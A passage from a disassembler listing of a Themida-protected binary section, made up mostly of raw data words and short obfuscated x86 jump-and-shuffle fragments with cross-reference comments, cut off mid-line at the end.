dd 0ED815879h, 0A2BA09AEh, 0FFB3C5E9h, 2EFC1FFh, 8102E7C1h dd 72EB43C7h, 5FFE290Ah, 4C6835Dh, 7FD5E9h, 240C8B00h dd 815B5453h, 4C3h, 0B69BE900h, 50580000h, 0B39DE9h, 0CF295E00h dd 2434FF59h, 0E924348Bh, 7C81h, 4D2E0B2Dh, 0B60F6655h dd 8B545700h, 0C481243Ch, 4, 109268h, 24348900h, 4B8EE9h dd 685E5400h, 67C0h, 0B8240489h, 55A32E08h, 4EC8153h, 0E9000000h dd 0FFFFA57Fh, 0CDEA8159h, 1569472h, 0CDC281EAh, 81569472h dd 1B7128EAh, 14875D57h, 8B665C24h, 0EC812404h, 4, 89240C89h dd 0C83EE9E1h, 0C180FFFFh, 0B059E9F2h, 14F70000h, 0BE565A24h dd 3AA10FD9h, 0EFE9F229h, 680000A2h, 61F92E46h, 0F163E95Dh dd 0FB29FFFFh, 498AEB81h, 0E95F3E67h, 0FFFFCF0Ah, 24348156h dd 791F11BCh, 8124148Bh, 4C4h, 0BCF28100h, 89791F11h, 455E5AD5h dd 4504E5C1h, 0E904EC83h, 8C27h, 67F7E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_597DF6: ; CODE XREF: Themida_:00595E68j pop esp pop eax and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_5A15E6 push 1759h mov [esp], ecx mov ecx, 28h jmp loc_5933BB ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88D58851h, 240C8BEBh, 4C481h, 148B0000h, 4C48124h, 0E9000000h dd 6F4Dh, 405h, 4E88300h, 0FFAB4EE9h, 685257FFh, 46F434C4h dd 0BEEA815Ah, 0E92C577Dh, 2D15h ; --------------------------------------------------------------------------- loc_597E5C: ; CODE XREF: Themida_:0059407Bj push dword ptr [esp+4] pop ebp pop dword ptr [esp] not ebp xchg ebp, [esp] pop eax xchg eax, ebp not ebp push eax jmp loc_59605F ; --------------------------------------------------------------------------- aVhW db '[Vh~w',0 align 2 dw 3C89h dd 53CC6824h, 0E95F43F7h, 9ADAh, 4A40B850h, 91053AACh dd 0C1711F06h, 432D04E0h, 9827BD0h, 3AE958C6h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_597EA3: ; CODE XREF: Themida_:0059FD34j push 4 jmp loc_591DBE ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 0C1h aQSL db 'ï',8,'é',0Bh,'‹',0 dw 0F700h dd 0FF5092D2h, 58042474h, 8B24048Fh, 0CDE9241Ch, 500000A3h dd 4B8h, 3DE6E900h, 0C0E90000h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597EDB: ; CODE XREF: Themida_:00597C89j add esi, 4 push ebx mov ebx, 4 add esi, 6B5B3F04h add esi, ebx push ebx jmp loc_5A0D58 ; --------------------------------------------------------------------------- db 53h, 0BBh, 55h dd 810C622Dh, 5A2069C3h, 1BBF5762h, 81159C68h, 872E59E7h dd 8FCF812Dh, 0E97C8F36h, 0B513h, 56EFC381h, 0E3C1247Ah dd 0FEEB8108h, 29FA8299h, 2C335BDDh, 242C3124h, 0FFC8B5E9h dd 44815FFFh, 39B50824h, 0C3E95E6Ch, 68FFFFCAh, 2671h dd 977BE9h, 0E95E5700h, 8684h, 4244C01h, 243C8B59h, 6804C483h dd 2078h, 52243489h, 0FFBC1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_597F6D: ; CODE XREF: Themida_:0059B28Fj add ebp, 0CE9E2FF2h not ebp inc ebp jmp loc_595527 ; --------------------------------------------------------------------------- db 0F7h aSN db 'Ñé#n',0 align 2 dw 0DA87h dd 74F468h, 241C8900h, 0E9240431h, 0FFFF9FB6h ; --------------------------------------------------------------------------- loc_597F94: ; CODE XREF: Themida_:00597BB4j push 6A86h mov [esp], eax mov eax, 66BF5939h push ebp mov ebp, 0FF5502B9h sub eax, 23D70941h sub eax, ebp jmp loc_5A2446 ; --------------------------------------------------------------------------- db 89h dd 0B8BA2414h, 812F0947h, 0D722FDC2h, 81DAF74Dh, 226F8FF2h dd 0CA814253h, 7A6F4376h, 0FFCC1CE9h, 0FE8BB7FFh, 0B9F780C7h dd 574CE9h, 163AB800h, 0C23126A8h, 314BE9h db 0 ; --------------------------------------------------------------------------- loc_597FED: ; CODE XREF: Themida_:005A4C96j push dword ptr [esp] pop edi push ebx jmp loc_595154 ; --------------------------------------------------------------------------- db 0BEh dd 4, 0E95EF301h, 6A3Ch, 5AA5CA81h, 0F75217F3h, 425A2414h dd 81CFE955h, 4DBF0000h, 816C8A7Bh, 285295C7h, 8EFC13Fh dd 58FDC781h, 0C7810930h, 63064EB1h, 8104E7C1h, 2DC3AFEFh dd 0E9FE31AEh, 0FFFFAC61h, 52243C8Bh, 0C281E289h, 4, 4BF57h dd 0D9E90000h, 83FFFFF9h, 3C8904ECh, 0BC685624h, 0E9537F11h dd 0B2E6h, 0FF8A2EE9h, 95E952FFh, 0BA000082h, 395463E0h dd 63E2BA52h, 0D0893954h, 5722055Ah, 0D0293A1Ch, 6C4CE9h dd 50E38100h, 4B3ADD46h, 464BF381h, 0DE013AD5h, 2C6835Bh dd 5C243487h, 13326866h, 241C8966h, 0FFA828E9h, 0B25266FFh dd 66D728D7h, 5BFE285Ah, 0C6B45066h, 21E9E628h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5980C7: ; CODE XREF: Themida_:005A1BBEj add esi, 4 xchg esi, [esp] mov esp, [esp] and ebx, esi jmp loc_592155 ; --------------------------------------------------------------------------- loc_5980DA: ; CODE XREF: Themida_:0059B410j add ecx, ebx add ecx, 4FA54DFh mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A4859 ; --------------------------------------------------------------------------- db 57h, 0BFh, 1Eh dd 29422117h, 0F5895FFEh, 4B4BE9h db 0 ; --------------------------------------------------------------------------- loc_598105: ; CODE XREF: Themida_:00592DABj sub eax, 6BDB0949h pop ebx jmp loc_5A34D2 ; --------------------------------------------------------------------------- dd 7DC6805Bh, 0E98FEE80h, 0FFFFBB4Eh, 815F5457h, 4C7h dd 4C78300h, 5C243C87h, 52F9C781h, 0C7812A75h, 3CF34477h dd 0EF81EF01h, 3CF34477h, 52F9EF81h, 0EDE92A75h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59814B: ; CODE XREF: Themida_:0059EDE6j push dword ptr [esp] jmp loc_5A585A ; --------------------------------------------------------------------------- db 81h dd 0BB40AAF5h, 8BEF8934h, 6AE9242Ch db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598163: ; CODE XREF: Themida_:0059D9D1j sub eax, 86969685h add edi, 12F307B8h add edi, eax sub edi, 12F307B8h pop eax add edi, 4 xchg edi, [esp] jmp loc_59455A ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h aSiusS db 'S‰ãéȘ',0 align 10h loc_598190: ; CODE XREF: Themida_:005A1A8Bj not ebp sub ebp, 39C6EF81h or edx, ebp mov ebp, [esp] jmp loc_59A6A4 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0AFF4E9h db 0 ; --------------------------------------------------------------------------- loc_5981AD: ; CODE XREF: Themida_:0059B21Cj sub edi, 4F0102ABh jmp loc_5A1DD6 ; --------------------------------------------------------------------------- dd 8104C483h, 2C6h, 74FF5600h, 8F5E0424h, 248B2404h, 48B6624h dd 3E146824h, 0C890000h, 68E18924h, 654Eh, 68243C89h, 4 dd 8BF9015Fh, 5451243Ch, 0FFC2C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5981F5: ; CODE XREF: Themida_:005A35B4j mov esp, [esp] mov [esp], edx mov edx, 4C22792Eh shl edx, 5 sub edx, 0D322EC5h add edx, 88E3090Fh mov eax, edx mov edx, [esp] add esp, 4 push eax add dword ptr [esp], 4DEC6C86h mov ecx, [esp] add esp, 4 jmp loc_5A0EB8 ; --------------------------------------------------------------------------- word_59822A dw 8B66h ; DATA XREF: Themida_:005909ECo dd 8950240Ch, 0E08950E0h, 41A2BE56h, 0F6815D53h, 5D5341A6h dd 2D5EF001h, 4, 5C240487h, 0BA241489h, 28900086h, 57CF281h dd 0EA816555h, 4D6A5B03h, 550DC281h, 0BB53FFA5h, 7F211449h dd 6A2CCB81h, 0F38141AFh, 329271C3h, 0F351EB81h, 0C7E9F2B9h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_598283: ; CODE XREF: Themida_:005A17A8j push dword ptr [esp] pop edi push ebp mov ebp, esp jmp loc_59E3B5 ; --------------------------------------------------------------------------- db 87h dd 895C2404h, 58542404h, 4BB5351h, 0E9000000h, 0D09Fh dd 5724048Fh, 0BE75E9h db 0 ; --------------------------------------------------------------------------- loc_5982AD: ; CODE XREF: Themida_:00593109j push ecx push edx push 27F217D7h pop edx sub edx, 1D027042h xor edx, 2640F109h push esi mov esi, edx mov ecx, esi pop esi pop edx jmp loc_59FE25 ; --------------------------------------------------------------------------- db 0B9h, 0D1h, 62h dd 0C1816CBEh, 7A2756AAh, 0C105E1C1h, 0E98104E9h, 49C76FC3h dd 0C2B7BF57h, 0F92961E3h, 83243C8Bh, 0CE2904C4h, 2C815659h dd 0D78FA24h, 0C3815B54h, 540D78FAh, 81FB015Eh, 5857EF33h dd 2C685B8Ch, 89000047h, 9D682434h, 5E0EE72Dh, 3018C681h dd 0ECE91991h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_598327: ; CODE XREF: Themida_:005937EFj add ebp, edi pop edi sub ebp, 633847FAh mov eax, [esp] add esp, 4 jmp loc_598AB7 ; --------------------------------------------------------------------------- loc_59833E: ; CODE XREF: Themida_:005932A2j push edx push 5437h mov [esp], ebx jmp loc_59FF51 ; --------------------------------------------------------------------------- loc_59834C: ; CODE XREF: Themida_:005A32E3j mov [esp], ebx mov ebx, 17F7740h jmp loc_590F12 ; --------------------------------------------------------------------------- loc_598359: ; CODE XREF: Themida_:00598C07j add ebx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ecx mov ecx, 14BF68F9h jmp loc_5912B4 ; --------------------------------------------------------------------------- aFps_ db 'fPé_{',0 dw 4600h dd 0ACA6E9h, 4EB8100h, 87000000h, 895C241Ch, 0E789243Ch dd 4C781h, 0C7810000h, 4, 0E9243C87h, 0FFFFD2EFh ; --------------------------------------------------------------------------- loc_5983AC: ; CODE XREF: Themida_:00597989j push 0B38h mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_590BDF ; --------------------------------------------------------------------------- dw 0D8E9h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5983C3: ; CODE XREF: Themida_:00596E9Bj mov edx, [esp] add esp, 4 push dword ptr [esp] pop ecx add esp, 4 xor al, bl mov ebx, [esp] add esp, 4 jmp loc_59B571 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 81582434h, 4C4h, 0EC815600h, 4, 83242489h dd 5E042404h, 4C681h, 0E9500000h, 0FFFFB912h, 0E581DDF7h dd 17011B4Ah, 0FFEDCFE9h, 5E5456FFh, 4C681h, 0C6830000h dd 24348704h, 2434FF5Ch, 4C48158h, 68000000h, 49E7h, 98D1E9h db 0 ; --------------------------------------------------------------------------- loc_598439: ; CODE XREF: Themida_:005923A6j xor esi, 0D207A92Fh sub ecx, esi pop esi mov edx, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 push eax mov eax, 4EA10A32h push edi push 251C1C5Eh mov edi, [esp] add esp, 4 or eax, edi pop edi jmp loc_597965 ; --------------------------------------------------------------------------- loc_598470: ; CODE XREF: Themida_:0059237Fj pop ebp dec ebp dec ebp not ebp jmp loc_5969F1 ; --------------------------------------------------------------------------- dw 0EEC1h dd 4ED6F707h, 2E24C681h, 0C68114E4h, 319C71DAh, 99E9F229h dd 54000041h, 21BB5358h, 0C1381869h, 59E908E3h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5984A3: ; CODE XREF: Themida_:00593E08j add eax, 3BAA8C23h add ebx, eax pop eax add ebx, eax push edx mov edx, 1AB06071h sub edx, 56AE34E5h and edx, 1CDF5B82h add edx, 0FE54462h add ebx, 750E1ADAh sub ebx, edx sub ebx, 750E1ADAh mov edx, [esp] jmp loc_5A0331 ; --------------------------------------------------------------------------- loc_5984DB: ; CODE XREF: Themida_:00598AFFj add edx, edi pop edi sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] jmp loc_5A59F4 ; --------------------------------------------------------------------------- dd 0C281C201h, 55924812h, 582434FFh, 0E9E28952h, 4F8Ch ; --------------------------------------------------------------------------- loc_598504: ; CODE XREF: Themida_:005A40ABj mov eax, [esp] add esp, 4 jmp loc_5A0DD6 ; --------------------------------------------------------------------------- db 0B9h dd 37B674FCh, 0BA5241h, 81000000h, 0EC596AC2h, 0E9CA2970h dd 6E0Ch ; --------------------------------------------------------------------------- loc_598528: ; CODE XREF: Themida_:0059DBA2j push eax mov eax, offset byte_434421 shl eax, 8 xor eax, 44B70F4Fh sub esi, eax pop eax pop ebp add eax, esi mov esi, [esp] jmp loc_59D633 ; --------------------------------------------------------------------------- dd 3FE6814Eh, 0F75AC27Bh, 4F681DEh, 0E9D49F49h, 9917h dd 5E0BC181h, 82E96BC6h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598563: ; CODE XREF: Themida_:0059B722j not ah xchg ah, dh jmp loc_59C301 ; --------------------------------------------------------------------------- dd 7A0668h, 24348900h, 101D75BEh, 23806820h, 0C890000h dd 98EFE924h, 0C181FFFFh, 496A01CEh, 68505758h, 61FD7B1Dh dd 0E9D0F758h, 0FFFFA039h, 7A68495Dh, 0E9000022h, 965Bh dd 2083B951h, 4C016A7Fh, 0BEE90824h, 81000082h, 2042E4C2h dd 0ECC28127h, 1580942h, 0A09DE9CAh, 0C301FFFFh, 6AEAEB81h dd 89520524h, 4C281E2h, 83000000h, 38E904EAh, 800000B2h dd 0C5FEECF5h, 80D5CD80h, 0E80097EDh, 0E9240C8Bh, 7A91h dd 0E9240489h, 0FFFF849Bh, 24348755h, 3487D6F7h, 0E5C15D24h dd 80E95703h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598613: ; CODE XREF: Themida_:005A3FAFj push 52EBh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_599A5F ; --------------------------------------------------------------------------- db 0D1h dd 4E0C1E0h, 53504B93h, 0DB2D5B58h, 813FE8DEh, 515ADFC2h dd 0E9C20105h, 4B5Eh, 30B8B850h, 27E961C9h, 5B00006Bh dd 3C87C581h, 34FF404Eh, 0BEE95E24h, 5EFFFFEDh, 7AE95750h dd 550000BEh, 0C565E9h, 14896600h, 5C6FE924h, 248B0000h dd 0C0B3E924h, 81660000h, 66269CE6h, 0E903E6C1h, 0B56Ch ; --------------------------------------------------------------------------- loc_59868C: ; CODE XREF: Themida_:0059987Ej sub eax, 0FFFFFFFFh sub eax, 0D43C46Bh sub eax, ebp xchg eax, ebp jmp loc_5A325F ; --------------------------------------------------------------------------- word_59869E dw 8B66h ; DATA XREF: Themida_:005907DCo dd 0F682404h, 8900000Fh, 5954240Ch, 4EC81h, 1C890000h dd 3A85BB24h, 0C3813C1Ch, 23627BF4h, 7DFCF381h, 0E9570CD0h dd 7D3Eh ; --------------------------------------------------------------------------- loc_5986CC: ; CODE XREF: Themida_:0059197Dj push dword ptr [esp] mov ebx, [esp] sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 jmp loc_593B70 ; --------------------------------------------------------------------------- dd 0F60AFABEh, 246C810Eh, 6B7B2F08h, 2474014Bh, 24448108h dd 6B7B2F08h, 24348B4Bh, 1AF66852h, 24890000h, 24048124h dd 4, 4C2815Ah, 81000000h, 4C2h, 24148700h, 5224248Bh dd 36FEBE56h, 81465195h, 0E87702F6h, 0C7CE8132h, 81481378h dd 0CC8706C6h, 5EF289B4h, 8245401h, 246C815Ah, 0BE27A904h dd 2454297Fh, 24448104h, 0BE27A904h, 0ADADE97Fh db 2 dup(0) word_598762 dw 8B66h ; DATA XREF: Themida_:00590A48o dd 0EC81240Ch, 4, 83242C89h, 8F5404ECh, 4832404h, 0AFE90424h dd 89000051h, 0C6835FFEh, 3EF681FFh, 4615354Eh, 0FF8612E9h dd 42BF57FFh, 8975FC27h, 0C1815FF9h, 1D1E6197h, 6498E981h dd 0E9C16484h, 0F9E18107h, 0E934F61Ch, 0FFFFFDA4h, 0E9243C87h dd 0FFFFD6E3h, 9605665Ch, 5805664Ah, 0D19FE935h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5987CA: ; CODE XREF: Themida_:00597163j shr eax, 0Ch xor eax, ecx push eax xor [esp], ebp xor ebp, [esp] xor [esp], ebp push 6C50h mov [esp], ebp jmp loc_5A12B1 ; --------------------------------------------------------------------------- aZssu db 9,'ÓZé‘u',0 align 2 loc_5987EE: ; CODE XREF: Themida_:0059382Bj mov edx, [esp] add esp, 4 dec eax sub eax, 33BB47D4h jmp loc_5A18B8 ; --------------------------------------------------------------------------- db 87h dd 565C240Ch, 4BEh, 0E9F50100h, 0FFFFAE35h, 2168E389h dd 8900003Fh, 66682404h, 580F8D1Ah, 0D40D0F7h, 346431A7h dd 7DD9E9h, 2434FF00h, 48E9555Dh, 1000032h, 24048BC3h dd 8304C483h, 1C8704C3h, 24248B24h, 0C30CE9h db 0 ; --------------------------------------------------------------------------- loc_59884D: ; CODE XREF: Themida_:005A34A4j xchg edi, [esp] mov esp, [esp] push 5E86h jmp loc_59BD2B ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0C0FFE9h, 24148700h, 403CE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_59886E: ; CODE XREF: Themida_:00595180j ; Themida_:005959DFj sub esp, 4 mov [esp], ecx push 25E6h mov [esp], ebx mov ecx, [esp] add esp, 4 push ebp jmp loc_594DCA ; --------------------------------------------------------------------------- db 0FFh a4S3b db '4$é3¡',0 dw 5F00h dd 8324048Bh, 0E98104C4h, 8163B7D5h, 0BA09E9h, 0C7814F00h dd 0C0B8D86Dh, 6836E9h, 0D6E95A00h, 5BFFFFD7h, 2C8BEB21h dd 27F7E924h, 15A0000h, 8B082444h, 0C4812404h, 4, 87685052h dd 5858D851h, 1FE5E9h, 0FFD50100h, 54E92434h, 89000002h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 50EB685Ch, 4890000h dd 322B6824h, 8F540000h, 4812404h, 424h, 4055800h, 83000000h dd 43304C0h, 24043124h, 8B240433h, 0C5812424h, 4, 45ADE9h db 0 ; --------------------------------------------------------------------------- loc_598931: ; CODE XREF: Themida_:005A0502j add ebp, 4 xchg ebp, [esp] jmp loc_59C360 ; --------------------------------------------------------------------------- dd 4C181h, 0BF570000h, 9000380h, 4708E7C1h, 7FFDEF81h dd 0C1E90003h, 89FFFFB0h, 32BD242Ch, 81179C3Fh, 292120F5h dd 8BEA2131h, 0C481242Ch, 4, 6C4DF281h, 0BAE94505h, 53000057h dd 4BBh, 245C0100h, 2434FF04h, 4C4815Bh, 0E9000000h, 3E89h dd 0B0E9D531h, 5E000099h, 3A35B850h, 0E8C140F9h, 2731E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5989AA: ; CODE XREF: Themida_:005A2ECAj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx mov ebx, esp add ebx, 4 jmp loc_5A5A8E ; --------------------------------------------------------------------------- align 2 aRPhgo db 'ÃR²hgo',0 dw 8900h dd 5352240Ch, 34C9E951h, 88BB0000h, 815B6E32h, 2752DDCBh dd 0CCEB8149h, 187016Fh, 241C8BDEh, 4C481h, 0E9550000h dd 7354h, 0C181E189h, 4, 2020E9h, 0BF575A00h, 4122FFAh dd 0F3E9FE01h, 89000093h, 2A9A68E5h, 3C890000h, 61EFBF24h dd 0C7816862h, 1, 7C28E9h, 53E68900h, 4BBh, 0D6EE8100h dd 1352221h, 0D6C681DEh, 5B352221h, 4C681h, 0FF560000h dd 5E042474h, 0E924048Fh, 6253h, 290BC681h, 48B4399h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 5124248Bh, 0CA3383B9h dd 0B8505330h, 11172AFBh, 0B30886BBh, 58C3011Fh, 815BD931h dd 0D0597DEEh, 0E9CE0168h, 0A290h dword_598A9C dd 42474FFh, 0FF2434FFh, 34FF2434h, 2434FF24h ; DATA XREF: Themida_:00590844o db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_59EBE2 ; --------------------------------------------------------------------------- loc_598AB7: ; CODE XREF: Themida_:00598339j xor ebp, [esp] jmp loc_5A4099 ; --------------------------------------------------------------------------- loc_598ABF: ; CODE XREF: Themida_:005A38B8j push 77764339h pop edi and edi, 5CA341D6h push eax mov eax, 13BF6C69h add eax, 50882DDDh and eax, 46A8734Ch or eax, 642C478Eh xor eax, 602F59E7h jmp loc_59D5DF ; --------------------------------------------------------------------------- loc_598AEA: ; CODE XREF: Themida_:0059F614j add esp, 4 push edi mov edi, 7E7F7C3Bh shr edi, 6 sub edi, 1F9FDECh jmp loc_5984DB ; --------------------------------------------------------------------------- dd 8704C183h, 685C240Ch, 6807h, 0FF9F70E9h db 0FFh ; --------------------------------------------------------------------------- loc_598B15: ; CODE XREF: Themida_:00594DD8j xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esi jmp loc_597075 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 87000000h, 46E9241Ch, 5AFFFF93h, 5E08950h dd 4, 405h, 24048700h, 4EC815Ch, 0E9000000h, 0FFFFDF05h ; --------------------------------------------------------------------------- loc_598B58: ; CODE XREF: Themida_:005A27FCj pop edx or edx, 1A4B59AAh sub esp, 4 mov [esp], edi mov edi, 5B0A527Dh jmp loc_599AB3 ; --------------------------------------------------------------------------- db 83h dd 1C3302C3h, 241C3124h, 8B241C33h, 8B662424h, 21682404h dd 0E9000009h, 0FFFFC569h ; --------------------------------------------------------------------------- loc_598B8C: ; CODE XREF: Themida_:0059CBFEj push dword ptr [esp+4] jmp loc_59CD56 ; --------------------------------------------------------------------------- db 0C0h, 0ECh, 2 dd 80CECC80h, 0EB8060F4h, 66E300C3h, 2948E951h, 0BB530000h dd 24587F15h, 0A780EFBFh, 0D698E9DBh, 1C8BFFFFh, 2C0CE924h dd 56520000h, 4662E9h db 0 ; --------------------------------------------------------------------------- loc_598BC9: ; CODE XREF: Themida_:0059AAA5j mov [esp], ebx push esp jmp loc_59E0D1 ; --------------------------------------------------------------------------- dw 2CBEh dd 4E168517h, 8F2DE9h, 0C00B5C00h, 1306840Fh, 31680000h dd 8900003Ch, 0FE682404h, 0FF000000h, 0F0E92434h db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_598BFB: ; CODE XREF: Themida_:0059D26Fj add eax, 60B8E6E4h add ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_598359 ; --------------------------------------------------------------------------- aFqRs db 'fQµÈRéÓ^',0 align 2 loc_598C16: ; CODE XREF: Themida_:0059C361j push 58E7h mov [esp], edi mov edi, 4 jmp loc_5A164F ; --------------------------------------------------------------------------- dd 4C481h, 0F6810000h, 63064A13h, 17BCE9h, 9C516600h, 6BEFE9h dd 71E52D00h, 2D406F31h, 47C263E1h, 0F6376205h, 8C8FE96Ah dd 0C1890000h, 8124048Bh, 4C4h, 0FDEF8100h, 164A02Dh, 0FDC781CFh dd 5964A02Dh, 4C781h, 3C330000h, 2660E924h, 0D2F70000h dd 0A8C5EA81h, 0FD6821B7h, 8900002Eh, 92E92404h, 29FFFFA1h dd 0DDE958C2h, 80FFFFE1h, 0F58053F5h, 59EC0015h, 0E9E9E630h dd 29000084h, 0E82958C5h, 5F0015Dh, 36DD7809h, 5E2434FFh dd 1E77E9h, 0E9535100h, 299Fh, 34FFE801h, 8E51E924h, 2CB30000h dd 0CB80D3F6h, 0B8EB806Bh, 0D02C4304h, 0AFE9D800h, 0B300002Dh dd 8397E91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598CEE: ; CODE XREF: Themida_:005A2D60j and ecx, edi push dword ptr [esp] jmp loc_595488 ; --------------------------------------------------------------------------- dd 11CFC681h, 15F5A8Fh, 4EC83C6h, 8841E9h, 24248B00h, 0B00E9C1h dd 0E7840FC0h, 68000037h, 510Fh, 0FFDBC0E9h, 71EBAFFh dd 0D0292243h, 2434FF5Ah, 0E789575Dh, 0FF8D51E9h, 17E950FFh db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_598D3B: ; CODE XREF: Themida_:00590F17j add esp, 4 xor ecx, eax jmp loc_5914F4 ; --------------------------------------------------------------------------- dword_598D48 dd 0C7A68h, 7AC36800h, 0C890000h, 0A9FBE924h, 2489FFFFh ; DATA XREF: Themida_:0059084Co dd 24048124h, 4, 5D2434FFh, 11D9E9h, 0E9D4F600h, 0FFFFB98Ch dword_598D74 dd 40D305ADh, 0AD2D77B8h, 1289952h, 52AD05D8h, 50572899h ; DATA XREF: Themida_:00590968o dd 0C6542C68h, 64BF583Dh, 29AB4F90h, 24048BC7h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi jmp loc_5990F4 ; --------------------------------------------------------------------------- db 81h, 0C3h, 57h dd 0E92A1B75h, 0C7F2h, 166A0566h, 0FFB1AAE9h, 243489FFh dd 6F88BF57h, 97E96445h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598DC3: ; CODE XREF: Themida_:0059A31Aj push ebp push 4EF1h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5A17C5 ; --------------------------------------------------------------------------- loc_598DD9: ; CODE XREF: Themida_:005A211Fj mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5A46D0 ; --------------------------------------------------------------------------- db 1, 0CDh, 59h aZLS0t db '‡,$‹$$é0’',0 dw 6800h dd 71267E24h, 80EB815Bh, 89FC752Bh, 2434FFDFh, 4C4815Bh dd 0E9000000h, 0BB75h ; --------------------------------------------------------------------------- loc_598E14: ; CODE XREF: Themida_:005A16ACj push ecx push dword ptr [esp] pop eax add esp, 4 push eax push dword ptr [esp] pop ebx jmp loc_5A0641 ; --------------------------------------------------------------------------- db 0B8h, 69h, 0A2h dd 0C2011AA2h, 8124048Bh, 4C4h, 3C3A2D00h, 39052F42h, 29057D5Eh dd 0C379E9D0h, 148B0000h, 4C48324h, 815A5452h, 4C2h, 4D14E900h dd 14F70000h, 24148B24h, 81E68956h, 4C6h, 4C68100h, 0E9000000h dd 5528h, 4EC81h, 8F540000h, 0BB532404h, 4, 4245C01h, 52241C8Bh dd 0FF8461E9h db 0FFh ; --------------------------------------------------------------------------- loc_598E95: ; CODE XREF: Themida_:00593EECj xor edx, 7046AFC0h jmp loc_5911C4 ; --------------------------------------------------------------------------- dd 0DF316658h, 241C8B66h, 2C481h, 1EE90000h, 560000C7h dd 0C681E689h, 4, 4EE81h, 17E90000h, 10000B7h, 1298E9FAh dd 0CE010000h, 2098EE81h, 81595C1Bh, 4EEh, 2AF0E900h, 29660000h dd 0C38166FBh, 8B666AD0h, 0C483243Ch, 0F3016602h, 66555666h dd 0E9787BBDh, 1F4Eh, 255D91BBh, 245C293Dh, 5F5D5B0Ch dd 8124048Bh, 4C4h, 4EC8100h, 89000000h, 4BE2434h, 0E9000000h dd 6A8h ; --------------------------------------------------------------------------- loc_598F28: ; CODE XREF: Themida_:005A5031j pop edx push eax push edi jmp loc_5919BC ; --------------------------------------------------------------------------- dd 5A44B951h, 0C0BD7E0Dh, 181F2A5h, 0E95159CDh, 77C8h dd 0C14BD3F7h, 0E95605E3h, 2EB4h ; --------------------------------------------------------------------------- loc_598F50: ; CODE XREF: Themida_:00592731j sub ebx, 0FFFFFFFFh push esi mov esi, 88843A4h sub esi, 0A8D76F3Ah sub ebx, 17B7379Fh push ecx mov ecx, 766055E7h add ebx, ecx pop ecx sub ebx, 0AFD6A45h add ebx, esi add ebx, 0AFD6A45h sub ebx, 766055E7h add ebx, 17B7379Fh pop esi add ecx, ebx pop ebx add ecx, edi push eax push edx jmp loc_594816 ; --------------------------------------------------------------------------- db 0BAh, 38h, 0 dd 0D3890000h, 0D529E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598FA2: ; CODE XREF: Themida_:005A55CCj shr eax, 0Ah xor eax, ecx push eax xchg eax, [esp] not eax xchg eax, [esp] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_591A00 ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 0CA8BE9h db 0 ; --------------------------------------------------------------------------- loc_598FCD: ; CODE XREF: Themida_:00595A84j mov [esp], ebx mov ebx, 321693Eh sub esp, 4 mov [esp], edx jmp loc_59E3E7 ; --------------------------------------------------------------------------- loc_598FE0: ; CODE XREF: Themida_:005924FEj xchg ecx, [esp] pop esp push eax push ebp mov ebp, 9364A46h mov eax, 5927EE9Eh add eax, ebp jmp loc_59CB51 ; --------------------------------------------------------------------------- loc_598FF7: ; CODE XREF: Themida_:00595696j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg ebp, [esp] mov esp, [esp] push 45A4h jmp loc_59F366 ; --------------------------------------------------------------------------- loc_599019: ; CODE XREF: Themida_:0059FC56j push 5F1Bh mov [esp], ebp jmp loc_59ACF3 ; --------------------------------------------------------------------------- loc_599026: ; CODE XREF: Themida_:00593363j xchg ebx, [esp] jmp loc_59EA73 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0E9530000h, 0FFFFB98Dh, 8104C483h, 2F086DC6h dd 0CB73E95Dh, 70680000h, 89000071h, 4BB241Ch, 29000000h dd 14875BDAh, 24248B24h, 